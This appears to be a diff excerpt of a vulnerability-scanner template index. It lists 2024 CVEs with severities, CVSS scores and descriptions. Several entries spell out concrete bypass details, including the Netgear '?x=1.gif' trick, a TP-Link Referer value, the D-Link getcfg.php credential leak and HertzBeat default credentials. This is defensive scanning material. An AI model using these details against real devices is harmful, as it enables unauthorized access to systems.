{"ID":"CVE-2024-12873","Info":{"Name":"Custom Field Manager WordPress - Cross-Site Scripting","Severity":"medium","Description":"Custom Field Manager WordPress plugin through 1.0 contains a reflected XSS caused by unsanitized and unescaped parameter output, letting attackers execute scripts against high privilege users such as admin, exploit requires crafted request.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2024/CVE-2024-12873.yaml"}
@@ -3029,11 +3026,13 @@
{"ID":"CVE-2024-13853","Info":{"Name":"WordPress SEO Tools Plugin 4.0.7 - Cross-Site Scripting","Severity":"medium","Description":"The SEO Tools WordPress plugin through version 4.0.7 contains a reflected cross-site scripting vulnerability. The plugin does not properly sanitize and escape the 'src' parameter in the rssread.php file before outputting it back in the page, which could allow attackers to execute arbitrary JavaScript code in a victim's browser.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2024/CVE-2024-13853.yaml"}
{"ID":"CVE-2024-13888","Info":{"Name":"WPMobile.App \u003c= 11.56 - Open Redirect","Severity":"high","Description":"The WPMobile.App plugin for WordPress is vulnerable to Open Redirect in all versions up to, and including, 11.56. This is due to insufficient validation on the redirect URL supplied via the 'redirect' parameter. This makes it possible for unauthenticated attackers to redirect users to potentially malicious sites if they can successfully trick them into performing an action.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2024/CVE-2024-13888.yaml"}
{"ID":"CVE-2024-13979","Info":{"Name":"St. Joe ERP system - SQL Injection","Severity":"critical","Description":"A SQL injection vulnerability exists in the St. Joe ERP system (\"圣乔ERP系统\") that allows unauthenticated remote attackers to execute arbitrary SQL commands via crafted HTTP POST requests to the login endpoint. The application fails to properly sanitize user-supplied input before incorporating it into SQL queries, enabling direct manipulation of the backend database.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-13979.yaml"}
{"ID":"CVE-2024-13985","Info":{"Name":"Dahua EIMS - Unauthenticated Remote Code Execution via capture_handle","Severity":"critical","Description":"A command injection vulnerability in Dahua EIMS versions prior to 2240008 allows unauthenticated remote attackers to execute arbitrary system commands via the capture_handle.action interface. The flaw stems from improper input validation in the captureCommand parameter, which is processed without sanitization or authentication. By sending crafted HTTP requests, attackers can inject OS-level commands that are executed on the server, leading to full system compromise. Exploitation evidence was first observed by the Shadowserver Foundation on 2024-04-06 UTC.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-13985.yaml"}
{"ID":"CVE-2024-14015","Info":{"Name":"Studiocart \u003c= 2.9.0 - Cross-Site Scripting","Severity":"medium","Description":"The Studiocart plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in versions up to, and including, 2.9.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-14015.yaml"}
{"ID":"CVE-2024-1483","Info":{"Name":"Mlflow \u003c 2.9.2 - Path Traversal","Severity":"high","Description":"A path traversal vulnerability exists in mlflow/mlflow version 2.9.2, allowing attackers to access arbitrary files on the server. By crafting a series of HTTP POST requests with specially crafted 'artifact_location' and 'source' parameters, using a local URI with '#' instead of '?', an attacker can traverse the server's directory structure. The issue occurs due to insufficient validation of user-supplied input in the server's handlers.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-1483.yaml"}
{"ID":"CVE-2024-1512","Info":{"Name":"MasterStudy LMS WordPress Plugin \u003c= 3.2.5 - SQL Injection","Severity":"critical","Description":"The MasterStudy LMS WordPress Plugin for Online Courses and Education plugin for WordPress is vulnerable to union based SQL Injection via the 'user' parameter of the /lms/stm-lms/order/items REST route in all versions up to, and including, 3.2.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-1512.yaml"}
{"ID":"CVE-2024-1561","Info":{"Name":"Gradio 4.3-4.12 - Local File Read","Severity":"high","Description":"Local file read by calling arbitrary methods of Components class between Gradio versions 4.3-4.12\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-1561.yaml"}
{"ID":"CVE-2024-1698","Info":{"Name":"NotificationX \u003c= 2.8.2 - SQL Injection","Severity":"critical","Description":"The NotificationX - Best FOMO, Social Proof, WooCommerce Sales Popup \u0026 Notification Bar Plugin With Elementor plugin for WordPress is vulnerable to SQL Injection via the 'type' parameter in all versions up to, and including, 2.8.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-1698.yaml"}
{"ID":"CVE-2024-1708","Info":{"Name":"ConnectWise ScreenConnect \u003c= 23.9.7 - Path Traversal","Severity":"high","Description":"ConnectWise ScreenConnect 23.9.7 and prior contain a path traversal caused by improper handling of user input, letting attackers execute remote code or access confidential data, exploit requires network access.\n","Classification":{"CVSSScore":"8.4"}},"file_path":"http/cves/2024/CVE-2024-1708.yaml"}
{"ID":"CVE-2024-1709","Info":{"Name":"ConnectWise ScreenConnect 23.9.7 - Authentication Bypass","Severity":"critical","Description":"ConnectWise ScreenConnect 23.9.7 and prior are affected by an Authentication Bypass Using an Alternate Path or Channel vulnerability, which may allow an attacker direct access to confidential information or critical systems.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2024/CVE-2024-1709.yaml"}
{"ID":"CVE-2024-1728","Info":{"Name":"Gradio \u003e 4.19.1 UploadButton - Path Traversal","Severity":"high","Description":"gradio-app/gradio is vulnerable to a local file inclusion vulnerability due to improper validation of user-supplied input in the UploadButton component.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-1728.yaml"}
{"ID":"CVE-2024-1751","Info":{"Name":"Tutor LMS \u003c= 2.1.10 - SQL Injection","Severity":"high","Description":"Tutor LMS – eLearning and online course solution plugin for WordPress [all versions up to 2.6.1] contains a time-based SQL Injection caused by insufficient escaping on the question_id parameter in SQL queries, letting authenticated attackers with subscriber or higher access extract sensitive information, exploit requires attacker to be authenticated with subscriber or higher privileges.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-1751.yaml"}
@@ -3061,8 +3060,6 @@
{"ID":"CVE-2024-22729","Info":{"Name":"Netis MW5360 V1.0.1.3031 - Command Injection","Severity":"critical","Description":"NETIS SYSTEMS MW5360 V1.0.1.3031 was discovered to contain a command injection vulnerability via the password parameter on the login page.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-22729.yaml"}
{"ID":"CVE-2024-22927","Info":{"Name":"eyoucms v.1.6.5 - Cross-Site Scripting","Severity":"medium","Description":"Cross Site Scripting (XSS) vulnerability in the func parameter in eyoucms v.1.6.5 allows a remote attacker to run arbitrary code via crafted URL.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2024/CVE-2024-22927.yaml"}
{"ID":"CVE-2024-23055","Info":{"Name":"Plone Docker - Host Header Injection","Severity":"medium","Description":"Plone Docker Official Image 5.2.13 (5221) is vulnerable to Host Header Injection due to improper validation of input by the HOST headers. This can lead to Cross-Site Scripting (XSS) attacks when the malicious Host header value is reflected in the response.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2024/CVE-2024-23055.yaml"}
{"ID":"CVE-2024-23163","Info":{"Name":"GestSup - Account Takeover","Severity":"critical","Description":"GestSup contains an authentication bypass vulnerability allowing attackers to take over user accounts, leading to full compromise including data disclosure and modification.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-23163.yaml"}
{"ID":"CVE-2024-23167","Info":{"Name":"GestSup - Cross-Site Scripting","Severity":"high","Description":"GestSup allows its users to add events to the calendar of all users. This is the HTTP request sent when a user adds an event to their calendar.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2024/CVE-2024-23167.yaml"}
{"ID":"CVE-2024-2330","Info":{"Name":"NS-ASG Application Security Gateway 6.3 - Sql Injection","Severity":"medium","Description":"A vulnerability was found in Netentsec NS-ASG Application Security Gateway 6.3. It has been classified as critical. This affects an unknown part of the file /protocol/index.php. The manipulation of the argument IPAddr leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.\n","Classification":{"CVSSScore":"6.3"}},"file_path":"http/cves/2024/CVE-2024-2330.yaml"}
{"ID":"CVE-2024-23334","Info":{"Name":"aiohttp - Directory Traversal","Severity":"high","Description":"aiohttp is an asynchronous HTTP client/server framework for asyncio and Python. When using aiohttp as a web server and configuring static routes, it is necessary to specify the root path for static files. Additionally, the option 'follow_symlinks' can be used to determine whether to follow symbolic links outside the static root directory. When 'follow_symlinks' is set to True, there is no validation to check if reading a file is within the root directory. This can lead to directory traversal vulnerabilities, resulting in unauthorized access to arbitrary files on the system, even when symlinks are not present. Disabling follow_symlinks and using a reverse proxy are encouraged mitigations. Version 3.9.2 fixes this issue.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-23334.yaml"}
{"ID":"CVE-2024-2340","Info":{"Name":"Avada \u003c 7.11.7 - Information Disclosure","Severity":"medium","Description":"The Avada theme for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 7.11.6 via the '/wp-content/uploads/fusion-forms/' directory. This makes it possible for unauthenticated attackers to extract sensitive data uploaded via an Avada created form with a file upload mechanism.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2024/CVE-2024-2340.yaml"}
@@ -3083,7 +3080,6 @@
{"ID":"CVE-2024-24919","Info":{"Name":"Check Point Quantum Gateway - Information Disclosure","Severity":"high","Description":"Potentially allowing an attacker to read certain information on Check Point Security Gateways once connected to the internet and enabled with remote Access VPN or Mobile Access Software Blades. A Security fix that mitigates this vulnerability is available.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2024/CVE-2024-24919.yaml"}
{"ID":"CVE-2024-25600","Info":{"Name":"Unauthenticated Remote Code Execution – Bricks \u003c= 1.9.6","Severity":"critical","Description":"Bricks Builder is a popular WordPress development theme with approximately 25,000 active installations. It provides an intuitive drag-and-drop interface for designing and building WordPress websites. Bricks \u003c= 1.9.6 is vulnerable to unauthenticated remote code execution (RCE) which means that anybody can run arbitrary commands and take over the site/server. This can lead to various malicious activities\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-25600.yaml"}
{"ID":"CVE-2024-25608","Info":{"Name":"Liferay Portal - Open Redirect","Severity":"medium","Description":"HtmlUtil.escapeRedirect in Liferay Portal 7.2.0 through 7.4.3.18, and older unsupported versions, and Liferay DXP 7.4 before update 19, 7.3 before update 4, 7.2 before fix pack 19, and older unsupported versions can be circumvented by using the 'REPLACEMENT CHARACTER' (U+FFFD), which allows remote attackers to redirect users to arbitrary external URLs via the (1) 'redirect` parameter (2) `FORWARD_URL` parameter, (3) `noSuchEntryRedirect` parameter, and (4) others parameters that rely on HtmlUtil.escapeRedirect.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2024/CVE-2024-25608.yaml"}
{"ID":"CVE-2024-25669","Info":{"Name":"CaseAware a360inc - Cross-Site Scripting","Severity":"medium","Description":"a360inc CaseAware contains a reflected cross-site scripting vulnerability via the user parameter transmitted in the login.php query string. This is a bypass of the fix reported in 2017\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2024/CVE-2024-25669.yaml"}
{"ID":"CVE-2024-25723","Info":{"Name":"ZenML ZenML Server - Improper Authentication","Severity":"critical","Description":"ZenML Server in the ZenML machine learning package before 0.46.7 for Python allows remote privilege escalation because the /api/v1/users/{user_name_or_id}/activate REST API endpoint allows access on the basis of a valid username along with a new password in the request body.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-25723.yaml"}
{"ID":"CVE-2024-25735","Info":{"Name":"WyreStorm Apollo VX20 - Information Disclosure","Severity":"high","Description":"An issue was discovered on WyreStorm Apollo VX20 devices before 1.3.58. Remote attackers can discover cleartext credentials for the SoftAP (access point) Router /device/config using an HTTP GET request.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-25735.yaml"}
{"ID":"CVE-2024-25852","Info":{"Name":"Linksys RE7000 - Command Injection","Severity":"high","Description":"Linksys RE7000 v2.0.9, v2.0.11, and v2.0.15 have a command execution vulnerability in the \"AccessControlList\" parameter of the access control function point\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-25852.yaml"}
@@ -3113,7 +3109,6 @@
{"ID":"CVE-2024-28623","Info":{"Name":"RiteCMS 3.0.0 - Cross-site Scripting","Severity":"medium","Description":"RiteCMS v3.0.0 contains a reflected XSS caused by unsanitized input in the main_menu/edit_section component, letting attackers execute arbitrary scripts in the context of the victim's browser.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2024/CVE-2024-28623.yaml"}
{"ID":"CVE-2024-2863","Info":{"Name":"LG LED Assistant - Thumbnail Path Traversal File Upload","Severity":"high","Description":"A path traversal vulnerability exists in the endpoint handler for /api/thumbnail in Common.js. An unauthenticated remote attacker can exploit this to upload arbitrary files to any location on the disk drive where the product is installed.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-2863.yaml"}
{"ID":"CVE-2024-28734","Info":{"Name":"Coda v.2024Q1 - Cross-Site Scripting","Severity":"medium","Description":"Cross Site Scripting vulnerability in Unit4 Financials by Coda v.2024Q1 allows a remote attacker to escalate privileges via a crafted script to the cols parameter.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-28734.yaml"}
{"ID":"CVE-2024-28752","Info":{"Name":"Apache CXF \u003c 4.0.4 - Aegis DataBinding SSRF / Local File Read","Severity":"high","Description":"Apache CXF before 4.0.4, 3.6.3 and 3.5.8 has a Server-Side Request Forgery (SSRF) vulnerability when using the Aegis DataBinding. The XOP Include mechanism in multipart SOAP requests can be abused to read local files or make server-side HTTP requests to arbitrary URLs. An attacker can use this to access sensitive internal resources.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-28752.yaml"}
{"ID":"CVE-2024-2876","Info":{"Name":"Wordpress Email Subscribers by Icegram Express - SQL Injection","Severity":"critical","Description":"The Email Subscribers by Icegram Express - Email Marketing, Newsletters, Automation for WordPress \u0026 WooCommerce plugin for WordPress is vulnerable to SQL Injection via the 'run' function of the 'IG_ES_Subscribers_Query' class in all versions up to, and including, 5.7.14 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-2876.yaml"}
{"ID":"CVE-2024-2879","Info":{"Name":"WordPress Plugin LayerSlider 7.9.11-7.10.0 - SQL Injection","Severity":"high","Description":"The LayerSlider plugin for WordPress is vulnerable to SQL Injection via the ls_get_popup_markup action in versions 7.9.11 and 7.10.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-2879.yaml"}
{"ID":"CVE-2024-28986","Info":{"Name":"SolarWinds Web Help Desk \u003c 12.8.3 - Insecure Deserialization","Severity":"critical","Description":"SolarWinds Web Help Desk before version 12.8.3 contain a critical Java deserialization vulnerability that enables remote code execution. Attackers can exploit this flaw to execute arbitrary commands on the host machine. Initially reported as unauthenticated, SolarWinds was unable to reproduce without authentication but still recommended immediate patching. With a CVSS score of 9.8, this vulnerability was discovered by Inmarsat Government researchers and added to CISA's Known Exploited Vulnerabilities Catalog due to active exploitation in the wild. The complete attack vector requires low complexity and has high impact on confidentiality, integrity, and availability. This vulnerability was later bypassed, leading to CVE-2024-28988 and subsequently CVE-2025-26399. Fixed in version 12.8.3 Hotfix 1.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-28986.yaml"}
@@ -3227,6 +3222,7 @@
{"ID":"CVE-2024-36857","Info":{"Name":"Jan v0.4.12 'readFileSync' - Path Traversal","Severity":"high","Description":"Jan v0.4.12 was discovered to contain an arbitrary file read vulnerability via the /v1/app/readFileSync interface.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-36857.yaml"}
{"ID":"CVE-2024-36858","Info":{"Name":"Jan v0.4.12 - Arbitrary File Upload","Severity":"critical","Description":"An arbitrary file upload vulnerability in the /v1/app/writeFileSync interface of Jan v0.4.12 allows attackers to execute arbitrary code via uploading a crafted file.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-36858.yaml"}
{"ID":"CVE-2024-36991","Info":{"Name":"Splunk Enterprise - Local File Inclusion","Severity":"high","Description":"In Splunk Enterprise on Windows versions below 9.2.2, 9.1.5, and 9.0.10, an attacker could perform a path traversal on the /modules/messaging/ endpoint in Splunk Enterprise on Windows. This vulnerability should only affect Splunk Enterprise on Windows.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-36991.yaml"}
{"ID":"CVE-2024-37014","Info":{"Name":"Langflow \u003c= 1.0.12 - Remote Code Execution","Severity":"critical","Description":"Langflow 0.6.19 contains a remote code execution caused by accepting untrusted Python scripts in the /api/v1/custom_component endpoint, letting remote attackers execute arbitrary code, exploit requires access to the endpoint and untrusted script input.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-37014.yaml"}
{"ID":"CVE-2024-37032","Info":{"Name":"Ollama - Remote Code Execution","Severity":"critical","Description":"Ollama before 0.1.34 does not validate the format of the digest (sha256 with 64 hex digits) when getting the model path, and thus mishandles the TestGetBlobsPath test cases such as fewer than 64 hex digits, more than 64 hex digits, or an initial ../ substring.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-37032.yaml"}
{"ID":"CVE-2024-37152","Info":{"Name":"Argo CD Unauthenticated Access to sensitive setting","Severity":"medium","Description":"Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. The vulnerability allows unauthorized access to the sensitive settings exposed by /api/v1/settings endpoint without authentication. All sensitive settings are hidden except passwordPattern.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-37152.yaml"}
{"ID":"CVE-2024-37259","Info":{"Name":"WP Extended \u003c 3.0.0 - Stored Cross-Site Scripting","Severity":"medium","Description":"The Ultimate WordPress Toolkit - WP Extended plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.4.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2024/CVE-2024-37259.yaml"}
@@ -3273,6 +3269,7 @@
{"ID":"CVE-2024-41810","Info":{"Name":"Twisted - Open Redirect \u0026 XSS","Severity":"medium","Description":"Twisted is an event-based framework for internet applications, supporting Python 3.6+. The Twisted web framework's redirectTo function is vulnerable to reflected XSS if an attacker can control the redirect URL. This template tests for an open redirect and XSS vulnerability in the URL parameter. This vulnerability is fixed in 24.7.0rc1.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2024/CVE-2024-41810.yaml"}
{"ID":"CVE-2024-41955","Info":{"Name":"Open Redirect in Login Redirect - MobSF","Severity":"medium","Description":"Mobile Security Framework (MobSF) is a security research platform for mobile applications in Android, iOS and Windows Mobile. An open redirect vulnerability exist in MobSF authentication view.\n","Classification":{"CVSSScore":"5.2"}},"file_path":"http/cves/2024/CVE-2024-41955.yaml"}
{"ID":"CVE-2024-42009","Info":{"Name":"Roundcube Webmail - Cross-Site Scripting","Severity":"critical","Description":"A Cross-Site Scripting vulnerability in Roundcube through 1.5.7 and 1.6.x through 1.6.7 allows a remote attacker to steal and send emails of a victim via a crafted e-mail message that abuses a Desanitization issue in message_body() in program/actions/mail/show.php.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2024/CVE-2024-42009.yaml"}
{"ID":"CVE-2024-42323","Info":{"Name":"Apache HertzBeat \u003c 1.6.0 - SnakeYAML Deserialization Remote Code Execution","Severity":"high","Description":"Apache HertzBeat versions before 1.6.0 use a vulnerable version of the SnakeYAML library to parse YAML files imported through the `/api/monitors/import` and `/api/alert/defines/import` endpoints. An authenticated user can submit a YAML file that constructs an `org.h2.jdbc.JdbcConnection` with a malicious H2 in-memory JDBC URL whose `INIT` block contains a `CREATE ALIAS ... $$ ... $$` Java source snippet, achieving remote code execution inside the HertzBeat JVM. The vulnerability is exploitable in default deployments because the official Docker image and quickstart documentation ship with the well-known default credentials `admin:hertzbeat`, which the template uses for chained authentication.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2024/CVE-2024-42323.yaml"}
{"ID":"CVE-2024-4257","Info":{"Name":"BlueNet Technology Clinical Browsing System 1.2.1 - Sql Injection","Severity":"medium","Description":"A vulnerability was found in BlueNet Technology Clinical Browsing System 1.2.1. It has been classified as critical. This affects an unknown part of the file /xds/deleteStudy.php. The manipulation of the argument documentUniqueId leads to sql injection. It is possible to initiate the attack remotely.\n","Classification":{"CVSSScore":"6.3"}},"file_path":"http/cves/2024/CVE-2024-4257.yaml"}
{"ID":"CVE-2024-42640","Info":{"Name":"Angular-Base64-Upload - Remote Code Execution","Severity":"critical","Description":"angular-base64-upload prior to v0.1.21 is vulnerable to unauthenticated remote code execution via demo/server.php. Exploiting this vulnerability allows an attacker to upload arbitrary content to the server, which can subsequently be accessed through demo/uploads. This leads to the execution of previously uploaded content and enables the attacker to achieve code execution on the server. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2024/CVE-2024-42640.yaml"}
{"ID":"CVE-2024-42852","Info":{"Name":"AcuToWeb server/10.5.0.7577c8b - Cross-Site Scripting","Severity":"medium","Description":"AcuToWeb server/10.5.0.7577c8b is vulnerable to reflected cross-site scripting (XSS) via the portgw parameter. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2024/CVE-2024-42852.yaml"}
@@ -3393,18 +3390,21 @@
{"ID":"CVE-2024-55457","Info":{"Name":"MasterSAM Star Gate v11 - Local File Inclusion","Severity":"high","Description":"MasterSAM Star Gate v11 is vulnerable to a directory traversal attack via the endpoint /adama/adama/downloadService. An attacker can exploit this vulnerability by manipulating the file parameter to access arbitrary files on the server, potentially leading to the exposure of sensitive information.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2024/CVE-2024-55457.yaml"}
{"ID":"CVE-2024-55550","Info":{"Name":"Mitel MiCollab - Arbitary File Read","Severity":"critical","Description":"The Mitel Collab Arbitrary File Read vulnerability allows an unauthenticated attacker to read arbitrary files from the underlying file system on a Mitel Collab server. Exploiting this flaw involves sending specially crafted requests to the server, bypassing access controls and allowing the attacker to retrieve sensitive files.\n","Classification":{"CVSSScore":"4.4"}},"file_path":"http/cves/2024/CVE-2024-55550.yaml"}
{"ID":"CVE-2024-55591","Info":{"Name":"Fortinet - Authentication Bypass","Severity":"critical","Description":"Fortinet FortiOS is vulnerable to an information disclosure via service-worker.js that could allow an attacker to access sensitive information.This vulnerability affects FortiOS and could potentially lead to unauthorized access to the system.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-55591.yaml"}
{"ID":"CVE-2024-55890","Info":{"Name":"D-Tale \u003c= 3.16.0 - Pre-Auth RCE via Pandas Query Injection","Severity":"critical","Description":"D-Tale prior to version 3.16.1 contains a remote code execution caused by the `update-settings` endpoint allowing updates to `enable_custom_filters`, letting attackers run malicious code on the server, exploit requires hosting D-Tale publicly.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-55890.yaml"}
{"ID":"CVE-2024-55956","Info":{"Name":"Cleo Harmony \u003c 5.8.0.24 - File Upload Vulnerability","Severity":"critical","Description":"In Cleo Harmony before 5.8.0.24, VLTrader before 5.8.0.24, and LexiCom before 5.8.0.24, an unauthenticated user can import and execute arbitrary Bash or PowerShell commands on the host system by leveraging the default settings of the Autorun directory.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-55956.yaml"}
{"ID":"CVE-2024-56064","Info":{"Name":"WP SuperBackup \u003c= 2.3.3 - Unauthenticated Arbitrary File Upload to RCE","Severity":"critical","Description":"The Super Backup \u0026 Clone - Migrate for WordPress plugin (indeed-wp-superbackup) is vulnerable to arbitrary file uploads due to missing file type validation and a missing capability check on the ibk_restore_migrate_check() function in all versions up to and including 2.3.3. Unauthenticated attackers can upload arbitrary PHP files on the affected site's server which leads to remote code execution. Files are written to /wp-content/uploads/isnapshots/.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2024/CVE-2024-56064.yaml"}
{"ID":"CVE-2024-56145","Info":{"Name":"Craft CMS - Remote Code Execution via Template Path Manipulation","Severity":"critical","Description":"This template identifies a critical Remote Code Execution (RCE) vulnerability in Craft CMS, identified as GHSA-2p6p-9rc9-62j9.\nThe vulnerability exists due to improper handling of the `--templatesPath` query parameter, allowing attackers to execute arbitrary code by referencing malicious Twig templates.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2024/CVE-2024-56145.yaml"}
{"ID":"CVE-2024-56159","Info":{"Name":"Astro - Information Disclosure","Severity":"medium","Description":"Astro versions v5.0.3 through v5.0.7 and Astro v4.16.17 or older with sourcemaps enabled contain a source code disclosure caused by sourcemap files being publicly accessible in the build output folder, letting unauthenticated users read server source code, exploit requires sourcemaps to be enabled.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2024/CVE-2024-56159.yaml"}
{"ID":"CVE-2024-56325","Info":{"Name":"Apache Pinot \u003c 1.3.0 - Authentication Bypass","Severity":"critical","Description":"This vulnerability allows remote attackers to bypass authentication on affected installations of Apache Pinot. Authentication is not required to exploit this vulnerability.The specific flaw exists within the AuthenticationFilter class. The issue results from insufficient neutralization of special characters in a URI. An attacker can leverage this vulnerability to bypass authentication on the system.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-56325.yaml"}
{"ID":"CVE-2024-56511","Info":{"Name":"DataEase \u003c 2.10.4 - Authentication Bypass via Whitelist Path Traversal","Severity":"critical","Description":"DataEase versions up to and including 2.10.3 contain an authentication bypass in `io.dataease.auth.filter.TokenFilter`. The filter passes the raw, unnormalized request URI to `WhitelistUtils.match()`, which only checks for whitelisted prefixes such as `/geo/`, `/customGeo/`, `/map/`, `/oauth2/`, and `/websocket` without resolving `..` segments. By prepending a whitelisted prefix and traversing back into the configured `server.servlet.context-path`, an attacker bypasses the filter while Tomcat still routes the request to the genuine, protected controller. This collapses the entire `/de2api` surface (user management, datasources, dashboards, exports) into unauthenticated access.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-56511.yaml"}
{"ID":"CVE-2024-56512","Info":{"Name":"Apache NiFi - Information Disclosure","Severity":"medium","Description":"Apache NiFi 1.10.0 through 2.0.0 are missing fine-grained authorization checking for Parameter Contexts, referenced Controller Services, and referenced Parameter Providers, when creating new Process Groups. Creating a new Process Group can include binding to a Parameter Context, but in cases where the Process Group did not reference any Parameter values, the framework did not check user authorization for the bound Parameter Context. Missing authorization for a bound Parameter Context enabled clients to download non-sensitive Parameter values after creating the Process Group.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-56512.yaml"}
{"ID":"CVE-2024-57045","Info":{"Name":"D-Link DIR-859 - Information Disclosure","Severity":"critical","Description":"A critical information disclosure vulnerability exists in D-Link devices where sensitive device account information including credentials can be retrieved by sending an unauthenticated request to `/getcfg.php` endpoint with the parameter `SERVICES=DEVICE.ACCOUNT`. This could allow attackers to obtain administrative credentials and gain full control of the affected device.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-57045.yaml"}
{"ID":"CVE-2024-57046","Info":{"Name":"Netgear DGN2200 - Improper Authentication","Severity":"high","Description":"A vulnerability in the Netgear DGN2200 router with firmware version v1.0.0.46 and earlier permits unauthorized individuals to bypass the authentication. When adding \"?x=1.gif\" to the requested url, it will be recognized as passing the authentication.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2024/CVE-2024-57046.yaml"}
{"ID":"CVE-2024-57049","Info":{"Name":"TP-Link Archer C20 - Authentication Bypass","Severity":"critical","Description":"A vulnerability in the TP-Link Archer C20 router with firmware version V6.6_230412 and earlier permits unauthorized individuals to bypass authentication on interfaces under the /cgi directory. When adding a Referer header with value \"http://tplinkwifi.net\" to requests, the router will recognize the request as passing authentication, allowing access to protected administration interfaces.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-57049.yaml"}
